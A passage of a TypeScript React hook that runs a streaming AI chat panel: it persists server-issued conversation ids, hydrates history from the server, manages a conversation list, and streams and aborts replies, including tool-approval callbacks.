by\n *     conversation id on every turn).\n *\n * Two key contracts vs hub-side chat hooks:\n *\n *   1. `source` is READ FROM THE RUNTIME, not a parameter. It is OPTIONAL —\n *      platform-agnostic embedders leave it unset; an empty `source` falls back\n *      to a stable constant (`DEFAULT_CHAT_SOURCE`) for the localStorage\n *      conversation-id namespace. It is NEVER sent on the wire (the hub\n *      resolves source server-side via `currentPlatform()`).\n *\n *   2. `tableIdForDocumentType` is INJECTED via the optional\n *      `tableIdForDocumentType` parameter. Hub callers pass the\n *      registry-backed lookup from `lib/config/rag-table-config`;\n *      embedders that don't supply one fall back to\n *      `defaultTableIdForDocumentType` so the `displayRef` / `discussRef`\n *      Ask + Display buttons WORK out of the box.\n */\n\nimport { useCallback, useMemo, useRef, useState } from 'react';\nimport { buildConfirmToolBody, readServerErrorMessage } from '../../../chat-protocol/confirm-tool';\nimport { createSseFrameDecoder } from '../../../chat-protocol/decode';\nimport type { ChatStreamEvent } from '../../../chat-protocol/events';\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport type { ChatRef } from '../chat-ref.types';\nimport { createChatDialogStore } from '../stream/chat-dialog-store';\nimport type { ChatDialogStore } from '../stream/chat-dialog-store';\nimport type { ChatStreamReducerOptions } from '../stream/chat-stream-reducer';\nimport { useChatStreamReducer } from '../stream/use-chat-stream-reducer';\nimport type { ChatSource, Message, MessageSegment } from '../types/message.types';\nimport type {\n  ChatDialogCapabilities,\n  FetchDialogsParams,\n  UnifiedChatState,\n  UnifiedChatMessage,\n  UnifiedSendMessageOptions,\n} from '../types/unified-chat-state.types';\nimport { createChatConversationStorage, pruneStaleChatConversationStorage } from '../utils/chat-conversation-storage';\nimport { createChatConversationsApi } from '../utils/chat-conversations-api';\nimport { buildDiscussPrompt } from '../utils/discuss-ref-prompt';\nimport type { ScrollAnchor } from '../utils/scroll-anchor';\nimport { sanitizeTitleForChat } from '../utils/slash-dispatch-utils';\nimport type { WireCommandOverride } from '../utils/slash-dispatch-utils';\nimport { defaultTableIdForDocumentType } from '../utils/source-icons';\nimport { useChatHistoryHydration } from './use-chat-history-hydration';\nimport { useManagedDialogList } from './use-managed-dialog-list';\nimport { useSlashCommandRegistry, type SlashCommandSummary } from './use-slash-commands';\n\n// Canonical home of the per-turn meta row moved to the stream module in\n// Phase 3; re-exported here to keep the legacy import path stable.\nexport type { ChatTurnMeta } from '../stream/chat-stream-reducer';\n\n// ─── Stable no-op references for the capabilities Guide mode never has ──\n// Plain module-scope constants so the adapter's return identity stays stable\n// across renders — consumers that memo on these fields don't get spurious\n// re-runs. The dialog LIST itself is no longer stubbed here: without a\n// conversations endpoint the shared `useManagedDialogList` is inert by\n// construction (empty list, false flags, memoized no-op mutations).\nconst noopSelectDialog = (_id: string | null): void => {\n  /* No conversations endpoint configured — nothing to select */\n};\n/** \"New chat\" is `clearMessages` (the server mints an id on the next send);\n *  there is no create call to make. */\nconst noopStartNewDialog = (): Promise<string | null> => Promise.resolve(null);\nconst noopDeleteDialog = async (_id: string): Promise<void> => {\n  /* Deletion is not offered — archive replaces it. */\n};\nconst noopAsync = async (): Promise<void> => {\n  /* no-op pagination stub (message history, which Guide does not page) */\n};\nconst noopApproveRequest = async (_id: string): Promise<void> => {\n  /* Guide mode has no tool-call approval workflow */\n};\nconst noopRejectRequest = async (_id: string, _reason?: string): Promise<void> => {\n  /* Guide mode has no tool-call approval workflow */\n};\n/** Stable no-op for the hydration hook's `bumpMetaTick` seam — reducer\n *  invalidation (inside `hydrateMessages`) already re-renders subscribers. */\nconst noopBumpMetaTick = (): void => {};\n\n// =============================================================================\n// Public types\n// =============================================================================\n\n/** Source identifier — opaque string ID (registry lookup happens in the\n *  hub-side platform-utils, not in lib). */\nexport type DocSource = string;\n\n/** Re-export: `ChatSource` moved to `message.types` when the NATS transport\n *  started producing it too. Kept so existing `use-sse-chat-adapter` imports\n *  keep resolving. */\nexport type { ChatSource };\n\nexport interface DocChatMessage {\n  id: string;\n  role: 'user' | 'assistant';\n  /** String form for legacy callers that just want the answer text; structured\n   *  segments include thinking blocks too, which the lib's\n   *  ChatMessageEnhanced renders as <ThinkingDisplay> cards. */\n  content: string;\n  /** Structured segments. When set, callers should prefer this over `content`. */\n  segments?: MessageSegment[];\n  sources?: ChatSource[];\n  /** Per-message viewport-positioning hint emitted by the server. */\n  scrollAnchor?: ScrollAnchor;\n  /** When true the message is part of the conversation history but is\n   *  NOT rendered in the chat UI. */\n  hidden?: boolean;\n}\n\n// `StreamingPhase` is unified across transports — re-exported here to\n// preserve the legacy import path. Canonical home is now\n// `types/unified-chat-state.types.ts`.\nexport type { StreamingPhase } from '../types/unified-chat-state.types';\n\n/**\n * Optional dependency-injection options for `useSseChatAdapter`.\n *\n *   - `tableIdForDocumentType` — looks up the RagTableConfig.id for an\n *     LLM document type. Used by `displayRef` + `discussRef` to translate\n *     an inline-card click into a server-side entity-id filter.\n *\n *     **Defaults to `defaultTableIdForDocumentType` from\n *     `src/utils/source-icons.ts`** — a lib-baked map covering every\n *     documentType currently registered in the hub's RAG_TABLE_CONFIGS.\n *     Override only for polymorphic / per-tenant document types.\n */\nexport interface UseSseChatAdapterOptions {\n  tableIdForDocumentType?: (documentType: string) => string | null;\n}\n\nexport interface UseSseChatAdapterRuntimeOptions {\n  /**\n   * When `false` the adapter skips its background slash-command registry\n   * fetch (used to hydrate the `displayRef` table lookup) AND the\n   * mount-time server-history hydration. Mirrors the NATS adapter's\n   * `active` gate: `useUnifiedChat` passes `false` while Guide mode is\n   * configured-but-not-active, so opening the panel in Mingo mode does\n   * NOT hit the commands or history endpoints. Default `true` so\n   * standalone callers keep the eager prefetch.\n   */\n  active?: boolean;\n}\n\n// =============================================================================\n// Local persistence — the server-issued conversation id ONLY\n// =============================================================================\n//\n// The ONLY thing persisted locally is the conversation id the SERVER minted\n// and echoed in the leading metadata frame of the session's first turn.\n// The client never generates ids. Message history lives server-side in\n// `chat_conversations` / `chat_messages` (recorded turn-by-turn by the chat\n// route) and is rehydrated on mount via `GET <chatStreamUrl>/history`.\n// localStorage never stores messages, sources, or send counts —\n// the server transcript is the single source of truth for history.\n// (The retired PersistedChatState v1 full-history blobs are swept on mount\n// by `pruneStaleChatConversationStorage` — never read, never migrated.)\n\n/** localStorage namespace used when no `source` is configured on the\n *  runtime. Embedders are platform-agnostic (see `ChatRuntime.source`), so any\n *  stable string works here — the hub passes its real platform instead. */\nconst DEFAULT_CHAT_SOURCE = 'embed';\n\n// Persistence itself lives in `../utils/chat-conversation-storage.ts` (built\n// on the lib-standard `createLocalStorageAdapter`); the mount-time history\n// rebuild lives in `./use-chat-history-hydration.ts`.\n\n/** Server-hydrated wire `Message` → reducer message. Hydrated rows carry\n *  plain-string content; the defensive segments branch keeps the mapper\n *  total over the wider `Message` union the hydration seam is typed with. */\nfunction historyMessageToReducerMessage(m: Message): UnifiedChatMessage {\n  const segments = Array.isArray(m.content) ? m.content : undefined;\n  return {\n    id: m.id,\n    role: m.role,\n    content: typeof m.content === 'string' ? m.content : '',\n    ...(segments ? { segments } : {}),\n    ...(m.name !== undefined ? { name: m.name } : {}),\n    ...(m.avatar != null ? { avatar: m.avatar } : {}),\n    ...(m.timestamp !== undefined ? { timestamp: m.timestamp } : {}),\n    ...(m.hidden ? { hidden: true } : {}),\n  } as UnifiedChatMessage;\n}\n\n// =============================================================================\n// useSseChatAdapter — public hook\n// =============================================================================\n\n/**\n * Stream-driven AI chat hook. Returns the message list, send/stop/clear\n * controls, and per-turn metadata (model name, token counts, routing\n * decision) the lib's `<ChatContainer>` consumes.\n *\n * Source identity comes from `useRequiredChatRuntime().source` — no\n * parameter. An empty `source` falls back to `DEFAULT_CHAT_SOURCE` (used only\n * for the conversation-id localStorage namespace; never sent on the wire).\n */\nexport function useSseChatAdapter(\n  options?: UseSseChatAdapterOptions,\n  runtimeOptions: UseSseChatAdapterRuntimeOptions = {},\n): UnifiedChatState {\n  const { active = true } = runtimeOptions;\n  // Chat-specific code REQUIRES a runtime — the lib's `<HubRuntimeProvider>`\n  // (hub) / embedder's provider must wrap the tree.\n  const runtime = useRequiredChatRuntime();\n  const source = runtime.source || DEFAULT_CHAT_SOURCE;\n  const tableIdForDocumentType = options?.tableIdForDocumentType ?? defaultTableIdForDocumentType;\n\n  // ─── Reducer wiring ────────────────────────────────────────────────────────\n  // One store per hook instance; one reducer keyed by the source. Approval\n  // card buttons fire a server-driven confirm-tool turn via `sendMessage`\n  // (hidden approval-action send) — routed through a ref so the reducer's\n  // creation-time callbacks stay stable.\n\n  const sendMessageRef = useRef<(text: string, options?: InternalSendMessageOptions) => Promise<boolean>>(() =>\n    Promise.resolve(true),\n  );\n\n  // Approve/reject pass the transport's boolean outcome through so batch\n  // approve-all loops can mark a FAILED row (expired proposal, network\n  // error) instead of leaving its execution loader spinning. ONE factory\n  // — the two handlers differ only in the action literal.\n  const cardResolve = useCallback(\n    (action: 'approve' | 'reject') =>\n      (reqId?: string): void | Promise<boolean> => {\n        if (!reqId) return undefined;\n        return sendMessageRef.current('', {\n          hidden: true,\n          approvalAction: { proposalId: reqId, action },\n        });\n      },\n    [],\n  );\n  const cardApprove = useMemo(() => cardResolve('approve'), [cardResolve]);\n  const cardReject = useMemo(() => cardResolve('reject'), [cardResolve]);\n\n  const createReducerOptions = useCallback(\n    (): ChatStreamReducerOptions => ({\n      transport: 'sse',\n      callbacks: { onApprove: cardApprove, onReject: cardReject },\n    }),\n    [cardApprove, cardReject],\n  );\n\n  const storeRef = useRef<ChatDialogStore | null>(null);\n  if (storeRef.current === null) storeRef.current = createChatDialogStore();\n\n  const { state, applyEvent, flushDeltas, mutate } = useChatStreamReducer({\n    store: storeRef.current,\n    dialogId: source,\n    createReducerOptions,\n  });\n\n  // ─── Conversation identity — server-minted id, restored once on mount ─────\n  // Null = no conversation yet: the FIRST send goes out without an id, the\n  // server mints one, and the metadata-frame capture (in the send loop below)\n  // stores it. The client NEVER generates ids. This is the ONLY local\n  // persistence — message history hydrates from the server transcript below.\n  const conversationStorage = useMemo(() => createChatConversationStorage(source), [source]);\n  const conversationIdRef = useRef<string | null>(null);\n  const restoredConversationRef = useRef(false);\n  if (!restoredConversationRef.current) {\n    restoredConversationRef.current = true;\n    // Sweeps other-identity keys AND the retired v1 full-history blobs.\n    pruneStaleChatConversationStorage(source);\n    conversationIdRef.current = conversationStorage.load()?.conversationId ?? null;\n  }\n  // Render-visible mirror of the ref. The ref stays the SYNCHRONOUS send-time\n  // source (a capture mid-stream must be visible to the very next send); the\n  // state is what re-arms history hydration and drives `activeDialogId` when\n  // the user switches conversations. ONE writer for both + storage.\n  const [conversationId, setConversationId] = useState<string | null>(() => conversationIdRef.current);\n  const commitConversationId = useCallback(\n    (id: string | null) => {\n      conversationIdRef.current = id;\n      setConversationId(id);\n      if (id) conversationStorage.save({ conversationId: id });\n      else conversationStorage.clear();\n    },\n    [conversationStorage],\n  );\n\n  // ─── Slash-command registry (displayRef lookup) ───────────────────────────\n  // Reads from the SAME react-query cache entry as `<EmbeddableChat>`'s\n  // onboarding-card list (keyed on `commandsUrl`), so Guide mode fetches\n  // `commands` ONCE. Gated on `active` so a Mingo-only panel — where this\n  // adapter is mounted but idle — never hits the endpoint.\n  const commandsUrl = runtime.endpoints.commandsUrl;\n  const { commands: slashCommands } = useSlashCommandRegistry(commandsUrl, {\n    enabled: active,\n  });\n  const cmdIdByTableId = useMemo(() => {\n    const buckets = new Map<string, SlashCommandSummary[]>();\n    for (const cmd of slashCommands) {\n      if (!cmd.primarySourceId) continue;\n      const arr = buckets.get(cmd.primarySourceId) ?? [];\n      arr.push(cmd);\n      buckets.set(cmd.primarySourceId, arr);\n    }\n    const map = new Map<string, string>();\n    for (const [tableId, cmds] of buckets) {\n      const display = cmds.find(c => c.actions.some(a => a.id === 'display'));\n      const picked =\n        display ??\n        [...cmds].sort((a, b) => {\n          const ao = a.displayOrder ?? Number.POSITIVE_INFINITY;\n          const bo = b.displayOrder ?? Number.POSITIVE_INFINITY;\n          return ao - bo;\n        })[0];\n      if (picked) map.set(tableId, picked.id);\n    }\n    return map;\n  }, [slashCommands]);\n\n  // ─── Server hydration (history SSOT) ──────────────────────────────────────\n  // Mount-time rebuild of the message list from the server transcript — the\n  // single store of conversation history. The fetch/guard/decode lives in\n  // `use-chat-history-hydration.ts` (see there for the full contract +\n  // failure semantics: a miss starts the UI empty, never loses server\n  // context). THIS adapter owns the materialization seam: the hook hands\n  // back plain `Message[]` rows plus the user-turn count (via the shim ref\n  // below), and `hydrateMessages` feeds ALL of it through the REDUCER —\n  // `initializeWithState` on an empty thread, `prependMessages` when the\n  // user already sent before hydration landed (nothing typed is lost; the\n  // server resolves LLM history from its own store either way), and\n  // `seedSseMaps` for the send counter. No parallel merge path.\n  const historyUrl =\n    runtime.endpoints.chatHistoryUrl ?? `${runtime.endpoints.chatStreamUrl.replace(/\\/+$/, '')}/history`;\n  const hydrationSendCountRef = useRef(0);\n  const hydrateMessages = useCallback(\n    (history: Message[], sourcesSeed?: Array<[number, unknown[]]>) => {\n      mutate(r => {\n        const mapped = history.map(historyMessageToReducerMessage);\n        const liveSendCount = r.state.turnMeta.sendCount;\n        if (r.state.messages.length === 0) {\n          r.initializeWithState(mapped);\n        } else {\n          r.prependMessages(mapped);\n        }\n        r.seedSseMaps({\n          // Restore the hydrated turns' \"Sources used\" chips (persisted\n          // audit copy, projected by the history route) alongside the\n          // send counter.\n          ...(sourcesSeed && sourcesSeed.length > 0 ? { sources: sourcesSeed } : {}),\n          sendCount: hydrationSendCountRef.current + liveSendCount,\n        });\n      });\n    },\n    [mutate],\n  );\n  // Live message count for the orphan guard below (a ref, so the callback's\n  // identity never changes — see the note on `onOrphanedConversation`).\n  const messagesLenRef = useRef(0);\n  messagesLenRef.current = state.messages.length;\n  const onOrphanedConversation = useCallback(\n    (id: string) => {\n      if (conversationIdRef.current === id && messagesLenRef.current === 0) commitConversationId(null);\n    },\n    [commitConversationId],\n  );\n\n  const { isHydratingHistory, hydratedKeyRef } = useChatHistoryHydration({\n    active,\n    source,\n    historyUrl,\n    conversationId,\n    sendCountRef: hydrationSendCountRef,\n    hydrateMessages,\n    // Meta invalidation is a reducer concern here: `seedSseMaps` (inside\n    // `hydrateMessages` above) already invalidates the snapshot.\n    bumpMetaTick: noopBumpMetaTick,\n    // Drop a stored id the server no longer recognizes (deleted, or claimed by\n    // an account while this browser is signed out) — keeping it would stream\n    // answers the server refuses to persist. Guarded on \"no live turn yet\" so\n    // a just-minted id is never dropped.\n    //\n    // IDENTITY-STABLE by construction: this is a dependency of the hydration\n    // effect, so a callback that changed with the message count would CANCEL\n    // an in-flight hydration the moment the user typed — silently discarding\n    // the thread they just opened. The live count is read through a ref.\n    onOrphanedConversation,\n  });\n\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  /** Switch the panel to another conversation (or to the draft state with\n   *  `null`): abort any in-flight stream, flush + reset the reducer, re-arm\n   *  the hydration guard, and commit the new id. `useChatHistoryHydration`\n   *  then re-fetches for a non-null id through its `conversationId` dep. */\n  const switchConversation = useCallback(\n    (id: string | null) => {\n      abortControllerRef.current?.abort();\n      flushDeltas();\n      mutate(r => r.reset());\n      hydrationSendCountRef.current = 0;\n      hydratedKeyRef.current = null;\n      commitConversationId(id);\n    },\n    [flushDeltas, mutate, hydratedKeyRef, commitConversationId],\n  );\n\n  // ─── Managed dialog list (only with `chatConversationsUrl`) ───────────────\n  // The SAME list state machine the NATS adapter runs; the host contract is\n  // the hub's conversations route, spelled out once in\n  // `chat-conversations-api.ts`. Without the endpoint the hook is inert and\n  // the return shape below keeps the single-thread stubs — zero behaviour\n  // change for hosts that never set it.\n  const conversationsUrl = runtime.endpoints.chatConversationsUrl;\n  const conversationsApi = useMemo(\n    () => (conversationsUrl ? createChatConversationsApi(conversationsUrl) : null),\n    [conversationsUrl],\n  );\n  const [dialogSearch, setDialogSearch] = useState('');\n  const fetchActiveDialogs = useMemo(\n    () =>\n      conversationsApi\n        ? (params: FetchDialogsParams) => conversationsApi.fetchDialogs({ ...params, status: 'active' })\n        : undefined,\n    [conversationsApi],\n  );\n  const fetchArchivedDialogs = useMemo(\n    () =>\n      conversationsApi\n        ? (params: FetchDialogsParams) => conversationsApi.fetchDialogs({ ...params, status: 'archived' })\n        : undefined,\n    [conversationsApi],\n  );\n  const {\n    dialogs,\n    isDialogsLoading,\n    dialogsError,\n    hasMoreDialogs,\n    reloadDialogs,\n    loadMoreDialogs,\n    renameDialog,\n    archiveDialog,\n    upsertDialogTop,\n    bumpDialogToTop,\n  } = useManagedDialogList({\n    autoLoad: active,\n    fetchDialogs: fetchActiveDialogs,\n    renameDialog: conversationsApi?.renameDialog,\n    archiveDialog: conversationsApi?.archiveDialog,\n    pageSize: 20,\n    search: conversationsApi ? dialogSearch : undefined,\n    logTag: '[useSseChatAdapter]',\n    // Archiving the OPEN conversation drops back to the draft state (the\n    // manager also clears the thread; both paths are idempotent).\n    onDialogRemoved: id => {\n      if (conversationIdRef.current === id) switchConversation(null);\n    },\n  });\n  const unarchiveDialog = useMemo(\n    () =>\n      conversationsApi\n        ? async (id: string) => {\n            await conversationsApi.unarchiveDialog(id);\n            reloadDialogs();\n          }\n        : undefined,\n    [conversationsApi, reloadDialogs],\n  );\n\n  // ─── Send / stream loop ────────────────────────────────────────────────────\n\n  /**\n   * Internal sendMessage options — union of the public\n   * `UnifiedSendMessageOptions` (semantic fields: `hidden`, `attachments`)\n   * and SSE-only internal extras (`commandOverride`, `approvalAction`)\n   * set by `discussRef` / `displayRef` / the approval-card callbacks.\n   */\n  type InternalSendMessageOptions = UnifiedSendMessageOptions & {\n    commandOverride?: WireCommandOverride;\n    approvalAction?: { proposalId: string; action: 'approve' | 'reject' };\n  };\n\n  const endpointsRef = useRef(runtime.endpoints);\n  endpointsRef.current = runtime.endpoints;\n\n  /** Capture the SERVER-minted conversation id from a decoded metadata\n   *  event. On the session's FIRST turn this is where the client learns\n   *  its id — persist it so later turns and future visits continue the\n   *  same conversation. The reducer ignores the field (identity is a\n   *  transport/persistence concern, not render state). */\n  const captureConversationId = useCallback(\n    (event: ChatStreamEvent): boolean => {\n      if (event.type !== 'metadata') return false;\n      const id = event.conversationId;\n      if (typeof id !== 'string' || !id) return false;\n      if (conversationIdRef.current === id) return false;\n      // Mark the new id as ALREADY hydrated before it becomes render state:\n      // the turn being streamed IS its history, and a mount-style fetch here\n      // would prepend that same turn once the server has persisted it.\n      hydratedKeyRef.current = `${source}:${id}`;\n      commitConversationId(id);\n      return true;\n    },\n    [commitConversationId, hydratedKeyRef, source],\n  );\n\n  const sendMessage = useCallback(\n    // Resolves `true` on a clean turn, `false` when the request failed\n    // (surfaced to batch approve-all loops via the card callbacks).\n    async (text: string, sendOptions?: InternalSendMessageOptions): Promise<boolean> => {\n      const { hidden, attachments, commandOverride, approvalAction } = sendOptions ?? {};\n\n      // URL + body branch — approvalAction routes to the approval-tool\n      // endpoint, the standard chat path routes to the chat-stream endpoint.\n      // `source` is INTENTIONALLY NOT in the body: the chat route resolves\n      // it server-side via its own platform-detection — tamper-proof binding.\n      //\n      // The server is the single source of conversation history: it re-reads\n      // `chat_messages` by conversation id on every turn. The wire therefore\n      // carries ONLY the new user message — never the prior conversation.\n      const echoedConversationId = conversationIdRef.current;\n      const targetPath = approvalAction ? endpointsRef.current.approvalToolUrl : endpointsRef.current.chatStreamUrl;\n      const requestBody = approvalAction\n        ? // Shared with every other transport that resolves a hub proposal —\n          // the body shape is the hub's, not this adapter's. `conversationId`\n          // is always present here: an approval can only happen inside an\n          // established conversation (the proposal turn captured the id).\n          buildConfirmToolBody({ ...approvalAction, conversationId: echoedConversationId })\n        : {\n            messages: [{ role: 'user', content: text }],\n            ...(commandOverride ? { commandOverride } : {}),\n            ...(attachments && attachments.length > 0 ? { pendingAttachments: attachments } : {}),\n            ...(echoedConversationId ? { conversationId: echoedConversationId } : {}),\n          };\n\n      // Optimistic user bubble + assistant placeholder + phase 'thinking'\n      // + sendCount++ — one reducer command.\n      mutate(r => r.beginSseSend({ text, hidden, userName: 'You', assistantName: 'Mingo AI' }));\n\n      const ctrl = new AbortController();\n      abortControllerRef.current = ctrl;\n      let mintedThisTurn = false;\n\n      try {\n        // `embedAuthedFetch` carries the bearer-act-as headers (+ Supabase\n        // session cookies) — same wrapper `use-chat-attachments` and\n        // `use-chat-identity` use.\n        const response = await embedAuthedFetch(targetPath, {\n          method: 'POST',\n          body: JSON.stringify(requestBody),\n          signal: ctrl.signal,\n        });\n        if (!response.ok) {\n          // Surface the SERVER's error copy (route-base envelope\n          // `{error, code}`) — a bare \"Chat request failed: 409\" told\n          // the user nothing when e.g. a batch approval expired; the\n          // server ships real copy (\"This approval expired — ...\").\n          const serverMessage = await readServerErrorMessage(response);\n          throw new Error(serverMessage ?? `Chat request failed: ${response.status}`);\n        }\n        const reader = response.body?.getReader();\n        if (!reader) throw new Error('No response body');\n\n        // Decoder is per-send (a rapid send-stop-send sequence must never\n        // feed the second stream's first chunk into the first stream's\n        // tail buffer).\n        const frameDecoder = createSseFrameDecoder();\n        let finished = false;\n        try {\n          while (true) {\n            const { done, value } = await reader.read();\n            if (done) break;\n            if (ctrl.signal.aborted) break;\n            for (const event of frameDecoder.push(value)) {\n              if (captureConversationId(event)) {\n                mintedThisTurn = true;\n                // Optimistic row so the list shows the new conversation at\n                // once; the end-of-turn reload swaps in the server's title.\n                // NEUTRAL placeholder — the SERVER owns titles (it strips slash\n                // commands + attachment markdown and cuts at a word boundary),\n                // so guessing here would flash a signed attachment URL or a\n                // `/command` token, and a naive slice can split an emoji.\n                const mintedId = conversationIdRef.current;\n                if (conversationsApi && !hidden && mintedId) {\n                  upsertDialogTop({ id: mintedId, title: 'New chat', timestamp: new Date() });\n                }\n              }\n              applyEvent(event);\n            }\n          }\n          finished = true;\n        } finally {\n          // `end()` always runs so the decoder settles; its events (the\n          // trailing usage frame) apply only on a CLEAN end — aborts\n          // propagate without extra state (legacy parity).\n          const endEvents = frameDecoder.end();\n          if (finished) {\n            for (const event of endEvents) applyEvent(event);\n          }\n        }\n        return true;\n      } catch (err) {\n        // AbortError on user-initiated stop is expected — keep the partial\n        // message, no error row, and DON'T report failure (`true`): the\n        // request may have committed server-side, and a `false` here\n        // would falsely tick a batch row's failure cross.\n        if ((err as { name?: string })?.name === 'AbortError' || ctrl.signal.aborted) {\n          return true;\n        }\n        flushDeltas();\n        mutate(r =>\n          r.failSseTurn(err instanceof Error ? err.message : 'An error occurred while processing your request.'),\n        );\n        return false;\n      } finally {\n        if (abortControllerRef.current === ctrl) {\n          abortControllerRef.current = null;\n        }\n        // Force-flush pending deltas BEFORE the completion state lands, then\n        // settle the turn (drops an empty trailing placeholder — the reject\n        // path streams no text — and returns the phase to idle).\n        flushDeltas();\n        mutate(r => r.endSseTurn());\n        // Keep the managed list in step with the transcript: a first turn\n        // re-reads the list (server-derived title replaces the placeholder,\n        // the row is persisted by the time the stream ends); a later turn\n        // just bumps the row to the top.\n        if (conversationsApi && !ctrl.signal.aborted) {\n          if (mintedThisTurn) {\n            reloadDialogs();\n          } else if (conversationIdRef.current) {\n            // Re-insert at the TOP rather than patching in place: the server\n            // has moved this row to the head of `last_message_at desc`, so an\n            // in-place bump would leave the rail's order and its\n            // Today/Yesterday grouping disagreeing with the server.\n            bumpDialogToTop(conversationIdRef.current);\n          }\n        }\n      }\n    },\n    [\n      mutate,\n      applyEvent,\n      flushDeltas,\n      captureConversationId,\n      conversationsApi,\n      upsertDialogTop,\n      reloadDialogs,\n      bumpDialogToTop,\n    ],\n  );\n  sendMessageRef.current = sendMessage;\n\n  const stopMessage = useCallback(() => {\n    abortControllerRef.current?.abort();\n    flushDeltas();\n    mutate(r => r.setPhase('idle'));\n  }, [mutate, flushDeltas]);\n\n  const clearMessages = useCallback(() => {\n    mutate(r => r.reset());\n    // New chat = drop the stored conversation id. The old row stays frozen\n    // server-side; the NEXT send goes out id-less and the server mints a\n    // fresh conversation (echoed back and re-captured then). Resetting the\n    // hydration guard means a re-captured id can hydrate again if needed.\n    commitConversationId(null);\n    hydrationSendCountRef.current = 0;\n    hydratedKeyRef.current = null;\n  }, [mutate, commitConversationId, hydratedKeyRef]);\n\n  /** Open a conversation from the managed list. Idempotent on the active id. */\n  const selectDialog = useCallback(\n    (id: string | null) => {\n      if (id === conversationIdRef.current) return;\n      switchConversation(id);\n    },\n    [switchConversation],\n  );\n\n  // Present ONLY with a conversations endpoint — its absence is what keeps a\n  // Guide panel single-thread, and it is the single signal `EmbeddableChat`\n  // gates the whole history surface on.\n  const dialogCapabilities = useMemo<ChatDialogCapabilities | undefined>(\n    () =>\n      conversationsApi\n        ? {\n            canRename: true,\n            canArchive: true,\n            fetchArchivedDialogs,\n            unarchiveDialog,\n            searchQuery: dialogSearch,\n            onSearchChange: setDialogSearch,\n            // A public panel's first-time visitor must reach the composer\n            // without tapping through an empty list.\n            emptyListSkipsToCompose: true,\n          }\n        : undefined,\n    [conversationsApi, fetchArchivedDialogs, unarchiveDialog, dialogSearch],\n  );\n\n  // ─── Public message mapping (sendIdx fan-out lookup) ──────────────────────\n  // Index sources/scrollAnchor by USER-SEND count (`sendIdx`), not by\n  // assistant-message count. Each user send produces exactly ONE sources\n  // entry server-side, but it can produce MULTIPLE assistant messages on the\n  // client (main RAG reply + post-approve card + auto-continuation prose).\n  // Counting VISIBLE user sends and mapping every following assistant\n  // message to that index keeps the lookup stable — server hydration seeds\n  // the same maps (via `seedSseMaps`) so hydrated turns resolve identically.\n  const docMessages: DocChatMessage[] = useMemo(() => {\n    const { meta, sources: sourcesMap } = state.turnMeta;\n    let sendIdx = -1;\n    return state.messages.map(m => {\n      const segments = m.segments;\n      const content =\n        typeof m.content === 'string' && !segments\n          ? m.content\n          : (segments\n              ?.filter(s => s.type === 'text')\n              .map(s => s.text)\n              .join('') ?? '');\n\n      let sources: ChatSource[] | undefined;\n      let scrollAnchor: ScrollAnchor | undefined;\n      if (m.role === 'user' && !m.hidden) {\n        sendIdx++;\n      }\n      if (m.role === 'assistant') {\n        const lookupIdx = sendIdx >= 0 ? sendIdx : 0;\n        sources = sourcesMap.get(lookupIdx) as ChatSource[] | undefined;\n        scrollAnchor = (meta.get(lookupIdx)?.scrollAnchor as ScrollAnchor | null) ?? undefined;\n      }\n\n      return {\n        id: m.id,\n        role: m.role,\n        content,\n        ...(segments ? { segments } : {}),\n        ...(sources ? { sources } : {}),\n        ...(scrollAnchor ? { scrollAnchor } : {}),\n        ...(m.hidden ? { hidden: true } : {}),\n      };\n    });\n  }, [state.messages, state.turnMeta]);\n\n  /**\n   * \"Display\" callback for inline cards whose registry entry sets\n   * `displayAction: true`. Parallel to `discussRef` but emits a\n   * `/<cmd> display \"<title>\"` slash command instead of the Discuss prose.\n   */\n  const displayRef = useCallback(\n    (reference: ChatRef) => {\n      const tableId = tableIdForDocumentType(reference.type);\n      if (!tableId) {\n        console.warn(`[useSseChatAdapter] displayRef: no tableId for documentType=\"${reference.type}\"; ignoring click`);\n        return;\n      }\n      const cmdId = cmdIdByTableId.get(tableId);\n      if (!cmdId) {\n        console.warn(\n          `[useSseChatAdapter] displayRef: no slash command for tableId=\"${tableId}\" source=\"${source}\"; ignoring click`,\n        );\n        return;\n      }\n      const refSlug =\n        typeof reference.metadata?.slug === 'string' && reference.metadata.slug.length > 0\n          ? reference.metadata.slug\n          : '';\n      const queryValue = refSlug || sanitizeTitleForChat(reference.title) || reference.id;\n      // Escape `\\` BEFORE `\"` so a trailing backslash can't smuggle a\n      // close-quote past parsers that honor JS-style escapes. Matches\n      // `formatSingularLookupInvocation`'s pattern in slash-dispatch-utils.\n      const escaped = queryValue.replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"');\n      const text = `/${cmdId} display \"${escaped}\"`;\n      // This adapter's `sendMessage` never rejects — it resolves `false` and\n      // renders the failure via `failSseTurn`. (The NATS copy's `discussRef`\n      // needs an explicit `.catch` because its publish CAN reject.)\n      void sendMessage(text);\n    },\n    [sendMessage, source, cmdIdByTableId, tableIdForDocumentType],\n  );\n\n  /**\n   * \"Discuss\" affordance for ObjectCard. Synthesizes a natural-language\n   * prompt (\"Tell me more about <title>\"); the structured\n   * `commandOverride.entityIdFilter` is sent server-side via the request\n   * body so retrieval narrows to the named row.\n   */\n  const discussRef = useCallback(\n    (reference: ChatRef) => {\n      const tableId = tableIdForDocumentType(reference.type);\n      if (!tableId) {\n        console.warn(`[useSseChatAdapter] discussRef: no tableId for documentType=\"${reference.type}\"; ignoring click`);\n        return;\n      }\n      const refId = (reference.id ?? '').trim();\n      if (!refId) {\n        console.warn(`[useSseChatAdapter] discussRef: empty reference.id for type=\"${reference.type}\"; ignoring click`);\n        return;\n      }\n      // RETRIEVAL IS STRICTLY PRIMARY-KEY-DRIVEN. The visible prose\n      // (\"Tell me more about <title>\") is UX-only; retrieval narrows\n      // via `entityIdFilter` before the LLM is invoked. The sentence itself\n      // comes from the shared builder so the Mingo transport (which has no\n      // id filter and leans on the prose) phrases it identically.\n      const prompt = buildDiscussPrompt(reference);\n      // Never rejects — see the note on `displayRef`.\n      void sendMessage(prompt, {\n        commandOverride: { entityIdFilter: { tableId, id: refId } },\n      });\n    },\n    [sendMessage, tableIdForDocumentType],\n  );\n\n  // ─── Per-turn metadata resolution ─────────────────────────────────────────\n  const latestMeta = useMemo(() => {\n    const { meta, sendCount } = state.turnMeta;\n    return meta.get(sendCount - 1) ?? meta.get(sendCount - 2) ?? null;\n  }, [state]);\n\n  const streamingPhase = state.streamingPhase;\n\n  return {\n    messages: docMessages,\n    isLoading: streamingPhase !== 